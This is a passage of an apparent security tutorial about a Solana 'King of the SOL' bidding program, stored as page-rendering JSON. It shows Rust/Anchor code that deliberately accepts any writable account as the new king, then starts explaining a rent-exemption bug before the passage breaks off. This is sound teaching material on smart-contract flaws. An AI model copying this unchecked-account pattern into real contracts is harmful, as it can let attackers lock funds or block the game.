this:",{"type":21,"tag":17108,"props":71694,"children":71695},{},[71696,71708,71713,71718],{"type":21,"tag":845,"props":71697,"children":71698},{},[71699,71701,71706],{"type":26,"value":71700},"Anyone can become the ",{"type":21,"tag":873,"props":71702,"children":71703},{},[71704],{"type":26,"value":71705},"king",{"type":26,"value":71707}," by bidding at least 2× the previous bid.",{"type":21,"tag":845,"props":71709,"children":71710},{},[71711],{"type":26,"value":71712},"The old king is reimbursed 95% of their bid.",{"type":21,"tag":845,"props":71714,"children":71715},{},[71716],{"type":26,"value":71717},"The remaining 5% goes into a prize pot.",{"type":21,"tag":845,"props":71719,"children":71720},{},[71721],{"type":26,"value":71722},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":21,"tag":22,"props":71724,"children":71725},{},[71726],{"type":26,"value":71727},"Simple, right?",{"type":21,"tag":22,"props":71729,"children":71730},{},[71731],{"type":26,"value":71732},"This is the core logic:",{"type":21,"tag":75,"props":71734,"children":71736},{"className":77,"code":71735,"language":79,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[71737],{"type":21,"tag":66,"props":71738,"children":71739},{"__ignoreMap":7},[71740,71755,71783,71798,71839,71846,71854,71905,71936,71943,71951,71966,71998,72005,72020,72051,72058,72065,72073,72090,72164,72172,72233,72245,72273,72313,72325,72341,72348,72356,72430,72442,72481,72509,72521,72536,72543,72551,72621,72665,72739,72746,72757,72764],{"type":21,"tag":85,"props":71741,"children":71742},{"class":87,"line":88},[71743,71747,71751],{"type":21,"tag":85,"props":71744,"children":71745},{"style":114},[71746],{"type":26,"value":23266},{"type":21,"tag":85,"props":71748,"children":71749},{"style":108},[71750],{"type":26,"value":23271},{"type":21,"tag":85,"props":71752,"children":71753},{"style":114},[71754],{"type":26,"value":20686},{"type":21,"tag":85,"props":71756,"children":71757},{"class":87,"line":98},[71758,71762,71766,71771,71775,71779],{"type":21,"tag":85,"props":71759,"children":71760},{"style":102},[71761],{"type":26,"value":14108},{"type":21,"tag":85,"props":71763,"children":71764},{"style":102},[71765],{"type":26,"value":21579},{"type":21,"tag":85,"props":71767,"children":71768},{"style":108},[71769],{"type":26,"value":71770}," ChangeKing",{"type":21,"tag":85,"props":71772,"children":71773},{"style":114},[71774],{"type":26,"value":23351},{"type":21,"tag":85,"props":71776,"children":71777},{"style":108},[71778],{"type":26,"value":23356},{"type":21,"tag":85,"props":71780,"children":71781},{"style":114},[71782],{"type":26,"value":1627},{"type":21,"tag":85,"props":71784,"children":71785},{"class":87,"line":151},[71786,71790,71794],{"type":21,"tag":85,"props":71787,"children":71788},{"style":114},[71789],{"type":26,"value":23558},{"type":21,"tag":85,"props":71791,"children":71792},{"style":102},[71793],{"type":26,"value":2039},{"type":21,"tag":85,"props":71795,"children":71796},{"style":114},[71797],{"type":26,"value":20686},{"type":21,"tag":85,"props":71799,"children":71800},{"class":87,"line":160},[71801,71805,71810,71814,71818,71822,71826,71830,71835],{"type":21,"tag":85,"props":71802,"children":71803},{"style":102},[71804],{"type":26,"value":21271},{"type":21,"tag":85,"props":71806,"children":71807},{"style":120},[71808],{"type":26,"value":71809}," throne",{"type":21,"tag":85,"props":71811,"children":71812},{"style":169},[71813],{"type":26,"value":172},{"type":21,"tag":85,"props":71815,"children":71816},{"style":108},[71817],{"type":26,"value":23523},{"type":21,"tag":85,"props":71819,"children":71820},{"style":114},[71821],{"type":26,"value":23351},{"type":21,"tag":85,"props":71823,"children":71824},{"style":108},[71825],{"type":26,"value":23356},{"type":21,"tag":85,"props":71827,"children":71828},{"style":114},[71829],{"type":26,"value":256},{"type":21,"tag":85,"props":71831,"children":71832},{"style":108},[71833],{"type":26,"value":71834},"Throne",{"type":21,"tag":85,"props":71836,"children":71837},{"style":114},[71838],{"type":26,"value":461},{"type":21,"tag":85,"props":71840,"children":71841},{"class":87,"line":185},[71842],{"type":21,"tag":85,"props":71843,"children":71844},{"emptyLinePlaceholder":16},[71845],{"type":26,"value":703},{"type":21,"tag":85,"props":71847,"children":71848},{"class":87,"line":501},[71849],{"type":21,"tag":85,"props":71850,"children":71851},{"style":92},[71852],{"type":26,"value":71853},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":21,"tag":85,"props":71855,"children":71856},{"class":87,"line":697},[71857,71861,71865,71870,71874,71879,71883,71888,71892,71896,71900],{"type":21,"tag":85,"props":71858,"children":71859},{"style":114},[71860],{"type":26,"value":23558},{"type":21,"tag":85,"props":71862,"children":71863},{"style":102},[71864],{"type":26,"value":2039},{"type":21,"tag":85,"props":71866,"children":71867},{"style":114},[71868],{"type":26,"value":71869},", constraint ",{"type":21,"tag":85,"props":71871,"children":71872},{"style":169},[71873],{"type":26,"value":741},{"type":21,"tag":85,"props":71875,"children":71876},{"style":114},[71877],{"type":26,"value":71878}," old_king",{"type":21,"tag":85,"props":71880,"children":71881},{"style":169},[71882],{"type":26,"value":73},{"type":21,"tag":85,"props":71884,"children":71885},{"style":114},[71886],{"type":26,"value":71887},"key() ",{"type":21,"tag":85,"props":71889,"children":71890},{"style":169},[71891],{"type":26,"value":2936},{"type":21,"tag":85,"props":71893,"children":71894},{"style":114},[71895],{"type":26,"value":71809},{"type":21,"tag":85,"props":71897,"children":71898},{"style":169},[71899],{"type":26,"value":73},{"type":21,"tag":85,"props":71901,"children":71902},{"style":114},[71903],{"type":26,"value":71904},"king)]\n",{"type":21,"tag":85,"props":71906,"children":71907},{"class":87,"line":706},[71908,71912,71916,71920,71924,71928,71932],{"type":21,"tag":85,"props":71909,"children":71910},{"style":102},[71911],{"type":26,"value":21271},{"type":21,"tag":85,"props":71913,"children":71914},{"style":120},[71915],{"type":26,"value":71878},{"type":21,"tag":85,"props":71917,"children":71918},{"style":169},[71919],{"type":26,"value":172},{"type":21,"tag":85,"props":71921,"children":71922},{"style":108},[71923],{"type":26,"value":25839},{"type":21,"tag":85,"props":71925,"children":71926},{"style":114},[71927],{"type":26,"value":23351},{"type":21,"tag":85,"props":71929,"children":71930},{"style":108},[71931],{"type":26,"value":23356},{"type":21,"tag":85,"props":71933,"children":71934},{"style":114},[71935],{"type":26,"value":461},{"type":21,"tag":85,"props":71937,"children":71938},{"class":87,"line":1100},[71939],{"type":21,"tag":85,"props":71940,"children":71941},{"emptyLinePlaceholder":16},[71942],{"type":26,"value":703},{"type":21,"tag":85,"props":71944,"children":71945},{"class":87,"line":1339},[71946],{"type":21,"tag":85,"props":71947,"children":71948},{"style":92},[71949],{"type":26,"value":71950},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":21,"tag":85,"props":71952,"children":71953},{"class":87,"line":1348},[71954,71958,71962],{"type":21,"tag":85,"props":71955,"children":71956},{"style":114},[71957],{"type":26,"value":23558},{"type":21,"tag":85,"props":71959,"children":71960},{"style":102},[71961],{"type":26,"value":2039},{"type":21,"tag":85,"props":71963,"children":71964},{"style":114},[71965],{"type":26,"value":20686},{"type":21,"tag":85,"props":71967,"children":71968},{"class":87,"line":1386},[71969,71973,71978,71982,71986,71990,71994],{"type":21,"tag":85,"props":71970,"children":71971},{"style":102},[71972],{"type":26,"value":21271},{"type":21,"tag":85,"props":71974,"children":71975},{"style":120},[71976],{"type":26,"value":71977}," new_king",{"type":21,"tag":85,"props":71979,"children":71980},{"style":169},[71981],{"type":26,"value":172},{"type":21,"tag":85,"props":71983,"children":71984},{"style":108},[71985],{"type":26,"value":25839},{"type":21,"tag":85,"props":71987,"children":71988},{"style":114},[71989],{"type":26,"value":23351},{"type":21,"tag":85,"props":71991,"children":71992},{"style":108},[71993],{"type":26,"value":23356},{"type":21,"tag":85,"props":71995,"children":71996},{"style":114},[71997],{"type":26,"value":461},{"type":21,"tag":85,"props":71999,"children":72000},{"class":87,"line":1394},[72001],{"type":21,"tag":85,"props":72002,"children":72003},{"emptyLinePlaceholder":16},[72004],{"type":26,"value":703},{"type":21,"tag":85,"props":72006,"children":72007},{"class":87,"line":1402},[72008,72012,72016],{"type":21,"tag":85,"props":72009,"children":72010},{"style":114},[72011],{"type":26,"value":23558},{"type":21,"tag":85,"props":72013,"children":72014},{"style":102},[72015],{"type":26,"value":2039},{"type":21,"tag":85,"props":72017,"children":72018},{"style":114},[72019],{"type":26,"value":20686},{"type":21,"tag":85,"props":72021,"children":72022},{"class":87,"line":3145},[72023,72027,72031,72035,72039,72043,72047],{"type":21,"tag":85,"props":72024,"children":72025},{"style":102},[72026],{"type":26,"value":21271},{"type":21,"tag":85,"props":72028,"children":72029},{"style":120},[72030],{"type":26,"value":42691},{"type":21,"tag":85,"props":72032,"children":72033},{"style":169},[72034],{"type":26,"value":172},{"type":21,"tag":85,"props":72036,"children":72037},{"style":108},[72038],{"type":26,"value":23587},{"type":21,"tag":85,"props":72040,"children":72041},{"style":114},[72042],{"type":26,"value":23351},{"type":21,"tag":85,"props":72044,"children":72045},{"style":108},[72046],{"type":26,"value":23356},{"type":21,"tag":85,"props":72048,"children":72049},{"style":114},[72050],{"type":26,"value":461},{"type":21,"tag":85,"props":72052,"children":72053},{"class":87,"line":3246},[72054],{"type":21,"tag":85,"props":72055,"children":72056},{"style":114},[72057],{"type":26,"value":2671},{"type":21,"tag":85,"props":72059,"children":72060},{"class":87,"line":3255},[72061],{"type":21,"tag":85,"props":72062,"children":72063},{"emptyLinePlaceholder":16},[72064],{"type":26,"value":703},{"type":21,"tag":85,"props":72066,"children":72067},{"class":87,"line":3286},[72068],{"type":21,"tag":85,"props":72069,"children":72070},{"style":114},[72071],{"type":26,"value":72072},"#[program]\n",{"type":21,"tag":85,"props":72074,"children":72075},{"class":87,"line":3295},[72076,72080,72085],{"type":21,"tag":85,"props":72077,"children":72078},{"style":102},[72079],{"type":26,"value":14108},{"type":21,"tag":85,"props":72081,"children":72082},{"style":102},[72083],{"type":26,"value":72084}," mod",{"type":21,"tag":85,"props":72086,"children":72087},{"style":114},[72088],{"type":26,"value":72089}," king_of_the_sol {\n",{"type":21,"tag":85,"props":72091,"children":72092},{"class":87,"line":3308},[72093,72097,72101,72106,72110,72114,72118,72122,72126,72131,72135,72140,72144,72148,72152,72156,72160],{"type":21,"tag":85,"props":72094,"children":72095},{"style":102},[72096],{"type":26,"value":21271},{"type":21,"tag":85,"props":72098,"children":72099},{"style":102},[72100],{"type":26,"value":14113},{"type":21,"tag":85,"props":72102,"children":72103},{"style":1021},[72104],{"type":26,"value":72105}," change_king",{"type":21,"tag":85,"props":72107,"children":72108},{"style":114},[72109],{"type":26,"value":1439},{"type":21,"tag":85,"props":72111,"children":72112},{"style":120},[72113],{"type":26,"value":20708},{"type":21,"tag":85,"props":72115,"children":72116},{"style":169},[72117],{"type":26,"value":172},{"type":21,"tag":85,"props":72119,"children":72120},{"style":108},[72121],{"type":26,"value":20717},{"type":21,"tag":85,"props":72123,"children":72124},{"style":114},[72125],{"type":26,"value":117},{"type":21,"tag":85,"props":72127,"children":72128},{"style":108},[72129],{"type":26,"value":72130},"ChangeKing",{"type":21,"tag":85,"props":72132,"children":72133},{"style":114},[72134],{"type":26,"value":966},{"type":21,"tag":85,"props":72136,"children":72137},{"style":120},[72138],{"type":26,"value":72139},"bid_amount",{"type":21,"tag":85,"props":72141,"children":72142},{"style":169},[72143],{"type":26,"value":172},{"type":21,"tag":85,"props":72145,"children":72146},{"style":108},[72147],{"type":26,"value":177},{"type":21,"tag":85,"props":72149,"children":72150},{"style":114},[72151],{"type":26,"value":736},{"type":21,"tag":85,"props":72153,"children":72154},{"style":169},[72155],{"type":26,"value":14175},{"type":21,"tag":85,"props":72157,"children":72158},{"style":108},[72159],{"type":26,"value":14180},{"type":21,"tag":85,"props":72161,"children":72162},{"style":114},[72163],{"type":26,"value":20759},{"type":21,"tag":85,"props":72165,"children":72166},{"class":87,"line":3333},[72167],{"type":21,"tag":85,"props":72168,"children":72169},{"style":92},[72170],{"type":26,"value":72171},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":21,"tag":85,"props":72173,"children":72174},{"class":87,"line":3369},[72175,72179,72183,72187,72191,72195,72199,72203,72207,72212,72216,72221,72225,72229],{"type":21,"tag":85,"props":72176,"children":72177},{"style":1021},[72178],{"type":26,"value":64906},{"type":21,"tag":85,"props":72180,"children":72181},{"style":114},[72182],{"type":26,"value":1439},{"type":21,"tag":85,"props":72184,"children":72185},{"style":120},[72186],{"type":26,"value":72139},{"type":21,"tag":85,"props":72188,"children":72189},{"style":169},[72190],{"type":26,"value":2658},{"type":21,"tag":85,"props":72192,"children":72193},{"style":120},[72194],{"type":26,"value":26284},{"type":21,"tag":85,"props":72196,"children":72197},{"style":169},[72198],{"type":26,"value":73},{"type":21,"tag":85,"props":72200,"children":72201},{"style":114},[72202],{"type":26,"value":15093},{"type":21,"tag":85,"props":72204,"children":72205},{"style":169},[72206],{"type":26,"value":73},{"type":21,"tag":85,"props":72208,"children":72209},{"style":114},[72210],{"type":26,"value":72211},"throne",{"type":21,"tag":85,"props":72213,"children":72214},{"style":169},[72215],{"type":26,"value":73},{"type":21,"tag":85,"props":72217,"children":72218},{"style":114},[72219],{"type":26,"value":72220},"last_bid_amount ",{"type":21,"tag":85,"props":72222,"children":72223},{"style":169},[72224],{"type":26,"value":3052},{"type":21,"tag":85,"props":72226,"children":72227},{"style":2285},[72228],{"type":26,"value":2288},{"type":21,"tag":85,"props":72230,"children":72231},{"style":114},[72232],{"type":26,"value":777},{"type":21,"tag":85,"props":72234,"children":72235},{"class":87,"line":3377},[72236,72241],{"type":21,"tag":85,"props":72237,"children":72238},{"style":1021},[72239],{"type":26,"value":72240},"        transfer_from_signer",{"type":21,"tag":85,"props":72242,"children":72243},{"style":114},[72244],{"type":26,"value":1029},{"type":21,"tag":85,"props":72246,"children":72247},{"class":87,"line":3386},[72248,72252,72256,72260,72264,72268],{"type":21,"tag":85,"props":72249,"children":72250},{"style":169},[72251],{"type":26,"value":2034},{"type":21,"tag":85,"props":72253,"children":72254},{"style":120},[72255],{"type":26,"value":20708},{"type":21,"tag":85,"props":72257,"children":72258},{"style":169},[72259],{"type":26,"value":73},{"type":21,"tag":85,"props":72261,"children":72262},{"style":114},[72263],{"type":26,"value":15093},{"type":21,"tag":85,"props":72265,"children":72266},{"style":169},[72267],{"type":26,"value":73},{"type":21,"tag":85,"props":72269,"children":72270},{"style":114},[72271],{"type":26,"value":72272},"payer,\n",{"type":21,"tag":85,"props":72274,"children":72275},{"class":87,"line":3394},[72276,72280,72284,72288,72292,72296,72300,72304,72309],{"type":21,"tag":85,"props":72277,"children":72278},{"style":169},[72279],{"type":26,"value":2034},{"type":21,"tag":85,"props":72281,"children":72282},{"style":120},[72283],{"type":26,"value":20708},{"type":21,"tag":85,"props":72285,"children":72286},{"style":169},[72287],{"type":26,"value":73},{"type":21,"tag":85,"props":72289,"children":72290},{"style":114},[72291],{"type":26,"value":15093},{"type":21,"tag":85,"props":72293,"children":72294},{"style":169},[72295],{"type":26,"value":73},{"type":21,"tag":85,"props":72297,"children":72298},{"style":114},[72299],{"type":26,"value":72211},{"type":21,"tag":85,"props":72301,"children":72302},{"style":169},[72303],{"type":26,"value":73},{"type":21,"tag":85,"props":72305,"children":72306},{"style":1021},[72307],{"type":26,"value":72308},"to_account_info",{"type":21,"tag":85,"props":72310,"children":72311},{"style":114},[72312],{"type":26,"value":4258},{"type":21,"tag":85,"props":72314,"children":72315},{"class":87,"line":3410},[72316,72321],{"type":21,"tag":85,"props":72317,"children":72318},{"style":120},[72319],{"type":26,"value":72320},"            bid_amount",{"type":21,"tag":85,"props":72322,"children":72323},{"style":114},[72324],{"type":26,"value":182},{"type":21,"tag":85,"props":72326,"children":72327},{"class":87,"line":3427},[72328,72333,72337],{"type":21,"tag":85,"props":72329,"children":72330},{"style":114},[72331],{"type":26,"value":72332},"        )",{"type":21,"tag":85,"props":72334,"children":72335},{"style":169},[72336],{"type":26,"value":3927},{"type":21,"tag":85,"props":72338,"children":72339},{"style":114},[72340],{"type":26,"value":2535},{"type":21,"tag":85,"props":72342,"children":72343},{"class":87,"line":3445},[72344],{"type":21,"tag":85,"props":72345,"children":72346},{"emptyLinePlaceholder":16},[72347],{"type":26,"value":703},{"type":21,"tag":85,"props":72349,"children":72350},{"class":87,"line":3490},[72351],{"type":21,"tag":85,"props":72352,"children":72353},{"style":92},[72354],{"type":26,"value":72355},"        // Reimburse 95% of the last bid to the old king\n",{"type":21,"tag":85,"props":72357,"children":72358},{"class":87,"line":3596},[72359,72363,72368,72372,72376,72380,72384,72388,72392,72396,72400,72404,72408,72413,72417,72421,72426],{"type":21,"tag":85,"props":72360,"children":72361},{"style":102},[72362],{"type":26,"value":1931},{"type":21,"tag":85,"props":72364,"children":72365},{"style":120},[72366],{"type":26,"value":72367}," to_reimburse",{"type":21,"tag":85,"props":72369,"children":72370},{"style":169},[72371],{"type":26,"value":1941},{"type":21,"tag":85,"props":72373,"children":72374},{"style":114},[72375],{"type":26,"value":717},{"type":21,"tag":85,"props":72377,"children":72378},{"style":120},[72379],{"type":26,"value":20708},{"type":21,"tag":85,"props":72381,"children":72382},{"style":169},[72383],{"type":26,"value":73},{"type":21,"tag":85,"props":72385,"children":72386},{"style":114},[72387],{"type":26,"value":15093},{"type":21,"tag":85,"props":72389,"children":72390},{"style":169},[72391],{"type":26,"value":73},{"type":21,"tag":85,"props":72393,"children":72394},{"style":114},[72395],{"type":26,"value":72211},{"type":21,"tag":85,"props":72397,"children":72398},{"style":169},[72399],{"type":26,"value":73},{"type":21,"tag":85,"props":72401,"children":72402},{"style":114},[72403],{"type":26,"value":72220},{"type":21,"tag":85,"props":72405,"children":72406},{"style":169},[72407],{"type":26,"value":3052},{"type":21,"tag":85,"props":72409,"children":72410},{"style":2285},[72411],{"type":26,"value":72412}," 9500",{"type":21,"tag":85,"props":72414,"children":72415},{"style":114},[72416],{"type":26,"value":736},{"type":21,"tag":85,"props":72418,"children":72419},{"style":169},[72420],{"type":26,"value":5349},{"type":21,"tag":85,"props":72422,"children":72423},{"style":2285},[72424],{"type":26,"value":72425}," 10000",{"type":21,"tag":85,"props":72427,"children":72428},{"style":114},[72429],{"type":26,"value":2535},{"type":21,"tag":85,"props":72431,"children":72432},{"class":87,"line":23938},[72433,72438],{"type":21,"tag":85,"props":72434,"children":72435},{"style":1021},[72436],{"type":26,"value":72437},"        transfer_from_pda",{"type":21,"tag":85,"props":72439,"children":72440},{"style":114},[72441],{"type":26,"value":1029},{"type":21,"tag":85,"props":72443,"children":72444},{"class":87,"line":23973},[72445,72449,72453,72457,72461,72465,72469,72473,72477],{"type":21,"tag":85,"props":72446,"children":72447},{"style":169},[72448],{"type":26,"value":2034},{"type":21,"tag":85,"props":72450,"children":72451},{"style":120},[72452],{"type":26,"value":20708},{"type":21,"tag":85,"props":72454,"children":72455},{"style":169},[72456],{"type":26,"value":73},{"type":21,"tag":85,"props":72458,"children":72459},{"style":114},[72460],{"type":26,"value":15093},{"type":21,"tag":85,"props":72462,"children":72463},{"style":169},[72464],{"type":26,"value":73},{"type":21,"tag":85,"props":72466,"children":72467},{"style":114},[72468],{"type":26,"value":72211},{"type":21,"tag":85,"props":72470,"children":72471},{"style":169},[72472],{"type":26,"value":73},{"type":21,"tag":85,"props":72474,"children":72475},{"style":1021},[72476],{"type":26,"value":72308},{"type":21,"tag":85,"props":72478,"children":72479},{"style":114},[72480],{"type":26,"value":4258},{"type":21,"tag":85,"props":72482,"children":72483},{"class":87,"line":23981},[72484,72488,72492,72496,72500,72504],{"type":21,"tag":85,"props":72485,"children":72486},{"style":169},[72487],{"type":26,"value":2034},{"type":21,"tag":85,"props":72489,"children":72490},{"style":120},[72491],{"type":26,"value":20708},{"type":21,"tag":85,"props":72493,"children":72494},{"style":169},[72495],{"type":26,"value":73},{"type":21,"tag":85,"props":72497,"children":72498},{"style":114},[72499],{"type":26,"value":15093},{"type":21,"tag":85,"props":72501,"children":72502},{"style":169},[72503],{"type":26,"value":73},{"type":21,"tag":85,"props":72505,"children":72506},{"style":114},[72507],{"type":26,"value":72508},"old_king,\n",{"type":21,"tag":85,"props":72510,"children":72511},{"class":87,"line":23989},[72512,72517],{"type":21,"tag":85,"props":72513,"children":72514},{"style":120},[72515],{"type":26,"value":72516},"            to_reimburse",{"type":21,"tag":85,"props":72518,"children":72519},{"style":114},[72520],{"type":26,"value":182},{"type":21,"tag":85,"props":72522,"children":72523},{"class":87,"line":23998},[72524,72528,72532],{"type":21,"tag":85,"props":72525,"children":72526},{"style":114},[72527],{"type":26,"value":72332},{"type":21,"tag":85,"props":72529,"children":72530},{"style":169},[72531],{"type":26,"value":3927},{"type":21,"tag":85,"props":72533,"children":72534},{"style":114},[72535],{"type":26,"value":2535},{"type":21,"tag":85,"props":72537,"children":72538},{"class":87,"line":24040},[72539],{"type":21,"tag":85,"props":72540,"children":72541},{"emptyLinePlaceholder":16},[72542],{"type":26,"value":703},{"type":21,"tag":85,"props":72544,"children":72545},{"class":87,"line":24073},[72546],{"type":21,"tag":85,"props":72547,"children":72548},{"style":92},[72549],{"type":26,"value":72550},"        // Set new king\n",{"type":21,"tag":85,"props":72552,"children":72553},{"class":87,"line":24081},[72554,72558,72562,72566,72570,72574,72578,72583,72587,72591,72595,72599,72603,72608,72612,72617],{"type":21,"tag":85,"props":72555,"children":72556},{"style":120},[72557],{"type":26,"value":26627},{"type":21,"tag":85,"props":72559,"children":72560},{"style":169},[72561],{"type":26,"value":73},{"type":21,"tag":85,"props":72563,"children":72564},{"style":114},[72565],{"type":26,"value":15093},{"type":21,"tag":85,"props":72567,"children":72568},{"style":169},[72569],{"type":26,"value":73},{"type":21,"tag":85,"props":72571,"children":72572},{"style":114},[72573],{"type":26,"value":72211},{"type":21,"tag":85,"props":72575,"children":72576},{"style":169},[72577],{"type":26,"value":73},{"type":21,"tag":85,"props":72579,"children":72580},{"style":114},[72581],{"type":26,"value":72582},"king ",{"type":21,"tag":85,"props":72584,"children":72585},{"style":169},[72586],{"type":26,"value":741},{"type":21,"tag":85,"props":72588,"children":72589},{"style":120},[72590],{"type":26,"value":26284},{"type":21,"tag":85,"props":72592,"children":72593},{"style":169},[72594],{"type":26,"value":73},{"type":21,"tag":85,"props":72596,"children":72597},{"style":114},[72598],{"type":26,"value":15093},{"type":21,"tag":85,"props":72600,"children":72601},{"style":169},[72602],{"type":26,"value":73},{"type":21,"tag":85,"props":72604,"children":72605},{"style":114},[72606],{"type":26,"value":72607},"new_king",{"type":21,"tag":85,"props":72609,"children":72610},{"style":169},[72611],{"type":26,"value":73},{"type":21,"tag":85,"props":72613,"children":72614},{"style":1021},[72615],{"type":26,"value":72616},"key",{"type":21,"tag":85,"props":72618,"children":72619},{"style":114},[72620],{"type":26,"value":4437},{"type":21,"tag":85,"props":72622,"children":72623},{"class":87,"line":24089},[72624,72628,72632,72636,72640,72644,72648,72652,72656,72661],{"type":21,"tag":85,"props":72625,"children":72626},{"style":120},[72627],{"type":26,"value":26627},{"type":21,"tag":85,"props":72629,"children":72630},{"style":169},[72631],{"type":26,"value":73},{"type":21,"tag":85,"props":72633,"children":72634},{"style":114},[72635],{"type":26,"value":15093},{"type":21,"tag":85,"props":72637,"children":72638},{"style":169},[72639],{"type":26,"value":73},{"type":21,"tag":85,"props":72641,"children":72642},{"style":114},[72643],{"type":26,"value":72211},{"type":21,"tag":85,"props":72645,"children":72646},{"style":169},[72647],{"type":26,"value":73},{"type":21,"tag":85,"props":72649,"children":72650},{"style":114},[72651],{"type":26,"value":72220},{"type":21,"tag":85,"props":72653,"children":72654},{"style":169},[72655],{"type":26,"value":741},{"type":21,"tag":85,"props":72657,"children":72658},{"style":120},[72659],{"type":26,"value":72660}," bid_amount",{"type":21,"tag":85,"props":72662,"children":72663},{"style":114},[72664],{"type":26,"value":2535},{"type":21,"tag":85,"props":72666,"children":72667},{"class":87,"line":24098},[72668,72672,72676,72680,72684,72688,72692,72697,72701,72706,72710,72714,72718,72722,72727,72731,72735],{"type":21,"tag":85,"props":72669,"children":72670},{"style":120},[72671],{"type":26,"value":26627},{"type":21,"tag":85,"props":72673,"children":72674},{"style":169},[72675],{"type":26,"value":73},{"type":21,"tag":85,"props":72677,"children":72678},{"style":114},[72679],{"type":26,"value":15093},{"type":21,"tag":85,"props":72681,"children":72682},{"style":169},[72683],{"type":26,"value":73},{"type":21,"tag":85,"props":72685,"children":72686},{"style":114},[72687],{"type":26,"value":72211},{"type":21,"tag":85,"props":72689,"children":72690},{"style":169},[72691],{"type":26,"value":73},{"type":21,"tag":85,"props":72693,"children":72694},{"style":114},[72695],{"type":26,"value":72696},"last_time ",{"type":21,"tag":85,"props":72698,"children":72699},{"style":169},[72700],{"type":26,"value":741},{"type":21,"tag":85,"props":72702,"children":72703},{"style":108},[72704],{"type":26,"value":72705}," Clock",{"type":21,"tag":85,"props":72707,"children":72708},{"style":169},[72709],{"type":26,"value":1087},{"type":21,"tag":85,"props":72711,"children":72712},{"style":1021},[72713],{"type":26,"value":16772},{"type":21,"tag":85,"props":72715,"children":72716},{"style":114},[72717],{"type":26,"value":14297},{"type":21,"tag":85,"props":72719,"children":72720},{"style":169},[72721],{"type":26,"value":3904},{"type":21,"tag":85,"props":72723,"children":72724},{"style":114},[72725],{"type":26,"value":72726},"unix_timestamp ",{"type":21,"tag":85,"props":72728,"children":72729},{"style":102},[72730],{"type":26,"value":3209},{"type":21,"tag":85,"props":72732,"children":72733},{"style":108},[72734],{"type":26,"value":177},{"type":21,"tag":85,"props":72736,"children":72737},{"style":114},[72738],{"type":26,"value":2535},{"type":21,"tag":85,"props":72740,"children":72741},{"class":87,"line":24174},[72742],{"type":21,"tag":85,"props":72743,"children":72744},{"emptyLinePlaceholder":16},[72745],{"type":26,"value":703},{"type":21,"tag":85,"props":72747,"children":72748},{"class":87,"line":24207},[72749,72753],{"type":21,"tag":85,"props":72750,"children":72751},{"style":108},[72752],{"type":26,"value":15230},{"type":21,"tag":85,"props":72754,"children":72755},{"style":114},[72756],{"type":26,"value":14756},{"type":21,"tag":85,"props":72758,"children":72759},{"class":87,"line":24215},[72760],{"type":21,"tag":85,"props":72761,"children":72762},{"style":114},[72763],{"type":26,"value":507},{"type":21,"tag":85,"props":72765,"children":72766},{"class":87,"line":24223},[72767],{"type":21,"tag":85,"props":72768,"children":72769},{"style":114},[72770],{"type":26,"value":2671},{"type":21,"tag":22,"props":72772,"children":72773},{},[72774],{"type":26,"value":72775},"Note this comment:",{"type":21,"tag":3712,"props":72777,"children":72778},{},[72779],{"type":21,"tag":22,"props":72780,"children":72781},{},[72782],{"type":26,"value":72783},"any writable account is allowed as a new king.",{"type":21,"tag":22,"props":72785,"children":72786},{},[72787],{"type":26,"value":72788},"...Is our assumption correct?",{"type":21,"tag":54,"props":72790,"children":72792},{"id":72791},"the-bugs-lurking-beneath",[72793],{"type":26,"value":72794},"The Bugs Lurking Beneath",{"type":21,"tag":10022,"props":72796,"children":72798},{"id":72797},"bug-1-the-rent-exemption-trap",[72799],{"type":26,"value":72800},"Bug 1: The Rent-Exemption Trap",{"type":21,"tag":22,"props":72802,"children":72803},{},[72804,72806,72811],{"type":26,"value":72805},"On Solana, all accounts must maintain a ",{"type":21,"tag":873,"props":72807,"children":72808},{},[72809],{"type":26,"value":72810},"minimum balance",{"type":26,"value":72812}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":21,"tag":17108,"props":72814,"children":72815},{},[72816,72831],{"type":21,"tag":845,"props":72817,"children":72818},{},[72819,72824,72825],{"type":21,"tag":873,"props":72820,"children":72821},{},[72822],{"type":26,"value":72823},"Uninitialized",{"type":26,"value":15750},{"type":21,"tag":66,"props":72826,"children":72828},{"className":72827},[],[72829],{"type":26,"value":72830},"lamports = 0",{"type":21,"tag":845,"props":72832,"children":72833},{},[72834,72839,72840],{"type":21,"tag":873,"props":72835,"children":72836},{},[72837],{"type":26,"value":72838},"Initialized",{"type":26,"value":15750},{"type":21,"tag":66,"props":72841,"children":72843},{"className":72842},[],[72844],{"type":26,"value":72845},"lamports >= rent-exempt threshold",{"type":21,"tag":22,"props":72847,"children":72848},{},[72849,72851,72856],{"type":26,"value":72850},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":21,"tag":873,"props":72852,"children":72853},{},[72854],{"type":26,"value":72855},"account metadata",{"type":26,"value":72857}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't 